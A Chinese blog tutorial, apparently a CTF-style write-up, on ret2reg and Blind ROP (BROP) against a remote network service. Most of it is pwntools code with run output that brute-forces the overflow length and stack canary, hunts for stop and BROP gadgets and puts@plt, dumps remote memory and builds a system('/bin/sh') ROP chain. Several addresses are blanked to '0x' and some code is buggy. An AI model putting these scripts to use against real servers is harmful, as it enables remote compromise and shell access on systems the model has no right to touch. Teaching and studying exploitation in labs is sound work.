再探ROP(下)

再探ROP(下)文章目录 0x01 概述 0x02ret2reg2 1 起因 2 2 原理 0x03brop 详解 3 1 概述 3 2 逆向思维切入 1 搭建环境 2 溢出长度和爆破 canary3 如何 getshell4 寻找直接条件 5

大家好,欢迎来到IT知识分享网。

0x01 概述

0x02 ret2reg

2-1 起因

2-2 原理

普及一下aslr和pie的区别: aslr,直译为地址随机化。该技术将栈,堆和动态库空间全部随机化。 pie,linux gcc编译器随后提供了fpie选项,此编译后修补aslr的漏洞,除了将栈,堆和动态库空间全部随机化,还把整个程序地址混淆了。 

只要理解了ret2shellcode,只需要找到一个可控存储内容的寄存器,再有一条call *reg的指令即可完成此攻击。说到底,寄存器仅仅是一个中间介质。由于简单,仅仅是ret2shellcode的升级,就不再展开细说了,开始让我激动的第三部分。

0x03 brop详解

第二部分很简单,这里才是这篇文章的重点和精华,马上开始。
再探讨brop之前我们得先了解一下概念和几点基本知识,能够帮助我们继续往下探讨:

3-1 概述

3-2 逆向思维切入

1)搭建环境
pwn@MacBook-Pro ~ % nc 10.112.26.131 1000 WelCome my friend,Do you know password? 123 No password, no game 
pwn@MacBook-Pro ~ % nc 10.112.26.131 1000 WelCome my friend,Do you know password?  pwn@MacBook-Pro ~ % 
2)溢出长度和爆破canary

既然要栈溢出,根据前面的经验,需要知道溢出临界点,也即是填充的长度是多少,很简单,给出代码:

from pwn import * def getLength(): i = 1 while True: sh = remote('10.112.26.131', 1000) sh.recvuntil('WelCome my friend,Do you know password?\n') sh.send(i * 'a') try: byte = sh.recv() except Exception as e: print("[+] sucessfully! length is " + str(i-1) + "\n") sh.close() exit() length = byte.decode() sh.close() if length.startswith('No password'): print("[*] length greater than " + str(i) + "\n") else: exit() i = i + 1 sh.close() if __name__ == "__main__": getlength() 
[x] Opening connection to 10.112.26.131 on port 1000 [x] Opening connection to 10.112.26.131 on port 1000: Trying 10.112.26.131 [+] Opening connection to 10.112.26.131 on port 1000: Done [+] sucessfully! length is 72 [*] Closed connection to 10.112.26.131 port 1000 [Finished in 1.6s] 
def getCanary(): sh = remote('10.112.26.131', 10001) canary = '\x00' payload_base = 72 * 'a' for i in range(7): payload_base = payload_base + canary for j in range(256): sh.recvuntil('WelCome my friend,Do you know password?\n') payload = payload_base payload += chr(j) sh.send(payload) byte = sh.recv() if 'Welcome' in byte: canary = chr(j) break print(payload_base) 
3)如何getshell

有了长度,也可以知道是存在栈溢出漏洞,岂不是按照之前的方法getshell就完成了吗?接下来一顿操作猛如虎。

在这里插入图片描述

相应的,给出代码:

def getShell(pop_rdi_addr, binsh_addr, system_adddr): payload = 'a' * 72 + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_adddr) sh = remote('10.112.26.131', 1000) sh.recvuntil('WelCome my friend,Do you know password?\n') sh.send(i * 'a') sh.interactive() 
4)寻找直接条件

寻找 pop_rdi_addr

pop rdi; ret; 

这一个是不是很眼熟呢?在上一部分的ret2csu中有一个地方是可以得到此gadgets,继续往下看:

在这里插入图片描述

注意这里,当然没有pop rdi的身影,这里我们要知道汇编语言指令是机器指令的一种符号表示,也就是说两者是一一对应的,比如0x90就是nop指令。这里插入一个小插曲,如下图所示:

在这里插入图片描述

gdb-peda$ x /1x 0x4007a0 0x4007a0 <__libc_csu_init+96>: 0x5f415e41 gdb-peda$ x /1x 0x4007a1 0x4007a1 <__libc_csu_init+97>: 0xc35f415e gdb-peda$ x /1x 0x4007a2 0x4007a2 <__libc_csu_init+98>: 0x90c35f41 gdb-peda$ x /1x 0x4007a4 0x4007a4 <__libc_csu_init+100>: 0x2e6690c3 gdb-peda$ x /1x 0x4007a5 0x4007a5: 0x0f2e6690 
gdb-peda$ x /1i 0x4007a1 0x4007a1 <__libc_csu_init+97>: pop rsi gdb-peda$ x /1i 0x4007a3 0x4007a3 <__libc_csu_init+99>: pop rdi gdb-peda$ x /1i 0x4007a4 0x4007a4 <__libc_csu_init+100>: ret 

在这里插入图片描述

偏移量不同,对齐后就会形成我们想要的指令,当然我们也可以使用ida,修改一下byte,进行对比看一下:

在这里插入图片描述

说么这么多废话就是为了找到这一个gadgets,接下来就是寻找binsh_addr, system_adddr,这个现在细说不合适,大体说一下,后面会水到渠成的理解。我们在得到put@got表的内容后,通过偏移计算出 system() 函数和字符串 /bin/sh 的地址,这里其实就是前面的方法的知识。

5)寻找间接条件

先来解决第一个问题:如何能找到通用gadgets(__libc_csu_init)呢?并且顺利找到pop_rdi_addr。

在这里插入图片描述

一般来说,都是64位程序,可以直接从0x尝试,如果不成功,有可能程序开启了PIE保护或者是32位程序,显然此题是no pie的64bit文件。从0x开始直到初步找到有使程序不crash的地方,这个地方有可能就是是六个pop操作(大于或者小于6个,rip就会指向p64(0)(当然你填写p64(1),p64(2)等都可以),导致程序crash)和一个retq操作。 然后需要一步检查,如果经过一个useful gadget把上图中的addr,恰巧addr是stop gadget返回给rip中,这个useful gadget虽然符合条件,但是显然不是我们要找的brop gadget,因此需要一步检查。

在这里插入图片描述

此时对useful gadget进行检查,若crash,则基本上brop gadget。为了后续的代码能够有效运行,我们得先找到stop gadget,得先补一个代码,就是找到一个stop gadget,因为这是寻找其他片段的前提,在寻找的过程中可以发现stop gadgets有不少,这里挑选出来main函数的入口地址(个人强迫症,而且也没有用途,画蛇添足),给出代码:

def getMain(base_addr): addr = base_addr while True: payload = p64(0) * 9 + p64(addr) sh = remote('10.112.26.131', 1000) sh.recvuntil('WelCome my friend,Do you know password?\n') sh.send(payload) try: byte = sh.recv() except Exception as e: sh.close() print("[+] bad address: 0x%x" % addr) addr += 1 continue c = byte.decode() print("[*] stop gadget address: 0x%x" % addr) if c.startswith('WelCome my friend'): print("[*] main address: 0x%x" % addr) return addr addr += 1 sh.close() 

运行结果:

[x] Opening connection to 10.112.26.131 on port 1000 [x] Opening connection to 10.112.26.131 on port 1000: Trying 10.112.26.131 [+] Opening connection to 10.112.26.131 on port 1000: Done [*] Closed connection to 10.112.26.131 port 1000 [+] bad address: 0x [x] Opening connection to 10.112.26.131 on port 1000 [x] Opening connection to 10.112.26.131 on port 1000: Trying 10.112.26.131 [+] Opening connection to 10.112.26.131 on port 1000: Done [*] Closed connection to 10.112.26.131 port 1000 [+] bad address: 0x [x] Opening connection to 10.112.26.131 on port 1000 [x] Opening connection to 10.112.26.131 on port 1000: Trying 10.112.26.131 [+] Opening connection to 10.112.26.131 on port 1000: Done [*] stop gadget address: 0x [*] main address: 0x [Finished in 16.3s] 

在这里插入图片描述

有了stop gadget那么就继续寻找brop gadget,这里给出代码:

def getBropGadget(base_addr, stop_gadget): addr = base_addr while True: payload = p64(0) * 9 + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10 try: sh = remote('10.112.26.131', 1000) sh.recvuntil('WelCome my friend,Do you know password?\n') sh.sendline(payload) sh.recvline() sh.close() print("find address: 0x%x" % addr) try: payload = p64(0) * 9 + p64(addr) + p64(0) * 10 sh = remote('10.112.26.131', 1000) sh.recvline() sh.sendline(payload) sh.recvline() sh.close() print("bad address: 0x%x" % addr) except: sh.close() print("final gadget address: 0x%x" % addr) return addr except: sh.close() addr += 1 

可以发现,find address会有不少个,所以我们检查是有必要的,这里给出final gadget address运行结果:

[x] Opening connection to 10.112.26.131 on port 1000 [x] Opening connection to 10.112.26.131 on port 1000: Trying 10.112.26.131 [+] Opening connection to 10.112.26.131 on port 1000: Done [*] Closed connection to 10.112.26.131 port 1000 find address: 0x40079a [x] Opening connection to 10.112.26.131 on port 1000 [x] Opening connection to 10.112.26.131 on port 1000: Trying 10.112.26.131 [+] Opening connection to 10.112.26.131 on port 1000: Done [*] Closed connection to 10.112.26.131 port 1000 final gadget address: 0x40079a 

这里找到了上图中popq %rbx的地址,偏移9后即popq %rdi的地址,也就是0x4007a3。

ps: 可能会对payload有些不解,这里解释一下: 前面测出来栈溢出的长度是72,那么使用payload = 'a' * 72 +,但是在此时( payload = 'a' * 72 + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10)会报错:can only concatenate str (not "int") to str,由于类型不一样造成的。 解决办法:直接使用payload = p64(0) * 9 + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10 

解决第二个问题:如何获取put@got表的内容。

很眼熟的问题,在基本rop方法中学到过,具体请见上一篇文章,只要找到put()(有输出功能的函数,当然也可以write())所在的plt表,那么在这个场景中怎么找到put@plt就是关键的一步。
在上一个小问题中也说到了,只要利用stop gadget等构造合适的payload即可获取到我们想要的useful gadget。
此时怎么构造呢?
第一步就是先了解一下plt表,在之前的文章我们探讨过,具体详见此文章,在这里简单说一下,plt 表的一般在可执行程序开始的地方,他有一个特点就是具有比较规整的结构,每一个表项都是 16 字节,每个表项的 6 字节偏移处,是该表项对应函数的解析路径,也就是got表的位置。另外,大部分的PLT项都不会因为传进来的参数的原因crash,因为它们很多都是系统调用,都会对参数进行检查,如果有错误会返回EFAULT而已,并不会造成进程crash。所以若发现好多条连续的16个字节对齐的地址都不会造成进程crash,而且这些地址加6得到的地址也不会造成进程crash,那么很有可能这就是某个PLT对应的项了。 当然我们也可以这样,如下图:


在这里插入图片描述

那么contexts(过程:rdi -> context_addr -> contexts)就会打在荧屏上了,只需判断此条件即可获取put@plt,这里给出代码。

def getPutPlt(base_addr, stop_gadget, pop_rdi_addr): addr = base_addr while True: payload = p64(0) * 9 + p64(pop_rdi_addr) + p64(0x) + p64(addr) + p64(stop_gadget) sh = remote('10.112.26.131', 1000) sh.recvuntil('WelCome my friend,Do you know password?\n') sh.send(payload) try: byte = sh.recv() except: sh.close() addr += 1 continue c = byte.decode() if c.startswith('ELF'): print("[*] put@plt address: 0x%x" % addr) return addr addr += 1 sh.close() 

运行结果:

[x] Opening connection to 10.112.26.131 on port 1000 [x] Opening connection to 10.112.26.131 on port 1000: Trying 10.112.26.131 [+] Opening connection to 10.112.26.131 on port 1000: Done [*] put@plt address: 0x [Finished in 11.9s] 

这里需要解释一下,为什么是0x和startswith(‘ELF’)。
首先要保证此地址在程序中是有的,然后每个程序该地址中内容都相同,因为byte.startswith(‘\x7fELF’)会报错,不如从第一位开始。下面附图一张,解释为什么是ELF,更有说服力。
[外链图片转存失败,源站可能有防盗在这里插入!链机制,建描述](https://img-blog议将存csdnimg下cn/来png?x-oss-process=接上a传e/watermirk,type_ZaFuZ3po2WmZyP5naGVpdGk,shadow_10,text_aHR0cH9Ly9ibG9nLmNzZG4ubmV6L0dlaXhpbl10MTE4NTk1Mw==,size_18,color_FFFFFF,t_60#pic_center4(https://blog.csdn.net/weixin_/article/details/)]

有了put@plt,就像上一篇所说到的,将put@got放入rdi,即可取得put的真实地址,但是问题又来了如何找到put@got呢?
当然就是这个方法的特色啦,使用put函数将plt表段给dump下来,此时还可以顺便把data表段dump下来,万一有“/bin/sh”呢。 至于地址范围可以随便找一个程序放入ida看一下。
代码如下:

def dump(base_addr, stop_gadget, pop_rdi_addr, put_plt_addr): addr = base_addr while addr < 0x: payload = p64(0) * 9 + p64(pop_rdi_addr) + p64(addr) + p64(put_plt_addr) + p64(stop_gadget) sh = remote('10.112.26.131', 1000) sh.recvuntil('WelCome my friend,Do you know password?\n') sh.send(payload) data = sh.recv(timeout=0.1) if data == "\n": data = "\x00" elif data[-1] == "\n": data = data[:-1] if addr == 0x: result = data else: result += data addr += len(data) sh.close() return result 

在这里插入图片描述

成功得到put@got为0x,下面的泄漏出put真实地址和根据在libc中通过偏移找到system和”/bin/sh”字符串,以及最后getshell就不再占用篇幅细说了(已经水了1w5+字了),上一篇文章已经很详细了,具体请见上一篇文章,到这里新的内容已经探讨完了。

0x04 尾记

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/121192.html

(0)
上一篇 2025-10-25 08:15
下一篇 2025-10-25 08:26

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注微信